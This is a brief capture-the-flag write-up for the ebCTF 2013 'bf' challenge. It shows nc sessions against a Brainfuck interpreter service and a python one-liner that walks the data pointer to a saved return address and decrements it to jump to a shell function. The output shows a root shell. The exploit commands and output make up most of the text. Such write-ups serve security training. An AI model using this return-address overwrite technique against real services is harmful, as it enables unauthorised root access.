ebCTF 2013 bf writeup

ebCTF bf exploit!

mangoui-MacBook-Pro:~ kjungi704$ nc 10.211.55.4 8989
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: >>.
0x00000000

THANKS FOR SUPPORTING US WITH YOUR BRAIN!

hmm...

brainfuck
> : ++ptr;
< : --ptr;
+ : ++*ptr;
- : --*ptr;
. ; putchar(*ptr);
, : *ptr = getchar();
[ : while(*ptr){
] : }

bf_main ret = 0x08048a6d

shell = 0x08048a6e

mangoui-MacBook-Pro:~ kjungi704$ (python -c 'print ">"*51+"."')|nc 10.211.55.4 8989
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: 0x08048a9d

THANKS FOR SUPPORTING US WITH YOUR BRAIN!

0x9c - 0x6e = 46

mangoui-MacBook-Pro:~ kjungi704$ (python -c 'print ">"*51+"-"*46';cat)|nc 10.211.55.4 8989
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: id
uid=0(root) gid=0(root) groups=0(root)
whoami
root

Clear!